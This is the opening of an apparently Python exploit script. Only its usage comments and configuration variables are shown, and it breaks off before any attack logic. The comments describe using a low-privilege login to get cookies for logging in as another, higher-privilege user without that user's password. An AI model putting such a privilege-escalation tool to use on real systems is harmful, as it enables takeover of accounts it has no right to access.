# How to use: Change the host, low_username, low_password and high_username variables depending on what you have.
# Low username and password is an account you have access to. high_username is account you want to authenticate as.
# After running the script, it will output you the cookies that you can set on your browser to login to the high_username without password.
#Host ip address + port
host="localhost:8080"

url = "http://" + host
#Username with credentials you have
low_username="guest"
low_password="guest"
#username you want to login as
